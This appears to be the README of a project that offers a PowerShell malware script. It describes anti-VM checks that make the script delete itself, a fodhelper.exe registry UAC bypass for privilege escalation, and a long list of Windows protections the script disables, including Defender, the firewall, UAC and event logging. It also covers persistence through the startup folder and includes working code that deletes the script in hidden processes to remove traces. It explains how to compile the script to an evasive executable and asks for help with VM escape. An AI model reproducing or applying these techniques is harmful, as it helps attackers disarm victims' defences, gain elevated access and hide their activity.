Caution

MALWARE AHEAD! IF YOU DO NOT KNOW WHAT THAT IS, LEAVE.

Warning

This script was NOT optimized to shorten and obfuscate the code but rather intended to have as much readability as possible for new coders to learn!

How does it work?

• Well, if we want to disable Windows's security features, we can use Registry Editor for that. However, we will need administrative privileges to access regedit. Like who's gonna run a malware as administrator?

• First, the script will check if it is running in a virtual environment, if it is, it will delete itself.

Note

The Anti-VM feature in this script was written by referencing the Metasploit's "checkvm" module.

Currently Supported VMs	Status
Parallels	Tested ✅
Hyper-V	Tested ✅
VMware	Tested ✅
VirutalBox	Tested ✅
Xen	Tested ✅
QEMU/KVM	Tested ✅

Privilege Escalation

• In Windows, when a user is requesting to open “Manage Optional Features” in settings, a process is created under the name “fodhelper.exe”. This process is running with the highest privileges without any permissions being asked directly when executed because it's a trusted binary and signed by Microsoft.

• The following checks are performed in the registry upon start of fodhelper.exe:

HKCU:\Software\Classes\ms-settings\shell\open\command
HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute
HKCU:\Software\Classes\ms-settings\shell\open\command\(default)

• Since these registry entries doesn’t exist, we can create this structure in the registry to manipulate fodhelper to execute our script with higher privileges bypassing the User Account Control (UAC).

Features that the script will disable:

> All The Windows Defender Features (including SmartScreen)
> Windows Firewall
> Windows Update
> System Restore
> Task Manager
> Command Prompt (Cmd)
> Remote Desktop
> User Account Control (UAC)
> Windows Security Center
> Windows Error Reporting
> Remote Assistance
> Windows Update Medic Service
> Background Intelligent Transfer Service (BITS)
> Windows Script Host
> Event Logging
> Windows Security Notifications
> Windows Search
> Automatic Maintenance
> Virtualization Based Security

Self Replication & Self Destruction

• After disabling the Windows Security features, the script will copy itself to the startup folder with a random file name for persistence and will delete all traces of its execution.

• However, when the script is compiled and executed as an ".exe" file, it becomes a process, and we can no longer modify or delete the file itself due to the File Locking Mechanism.

• Since we couldn't delete the script itself after it has done its job, we have 2 alternatives to delete it:

$ScriptPath = $MyInvocation.MyCommand.Path
$ExePath = (Get-Process -Id $PID).Path
$FullPath = if ($ScriptPath) { $ScriptPath } else { $ExePath }
  
# First alternative: Start another process to delete it
Start-Process powershell.exe -ArgumentList "-NoProfile -Command `"Remove-Item -Path '$FullPath' -Force -ErrorAction SilentlyContinue`"" -WindowStyle Hidden
  
# Second alternative: Create a temporary batch script to delete it
$tempScript = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.IO.Path]::GetRandomFileName() + ".cmd")
$cmdContent = "chcp 1252" + [Environment]::NewLine + "ping 127.0.0.1 -n 2 > nul" + [Environment]::NewLine + "del /q /f `"$FullPath`"" + [Environment]::NewLine + "del /q /f %~f0"
Set-Content -Path $tempScript -Value $cmdContent
Start-Process cmd.exe -ArgumentList "/c $tempScript" -WindowStyle Hidden

The first alternative has been used in the script.

How to convert the script into an executable?

1. Open PowerShell as administrator

2. Install PS2EXE

Install-Module ps2exe

3. Open the GUI

win-ps2exe

Important

Once the script has been converted to an ".exe" file, it can be flagged as:

• Trojan:Win32/AgentTesla!ml
• Trojan:Win32/Bearfoos.A!ml
• Trojan:Win32/Wacatac.B!ml

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Tip

If you executed the script, you can also run the Enable.reg file to repair the damage it caused.

Contributing

I would really like to add an Escape-VM feature to this script, but it's a really complicated thing, soo if you wanna help me you can open a pull request :)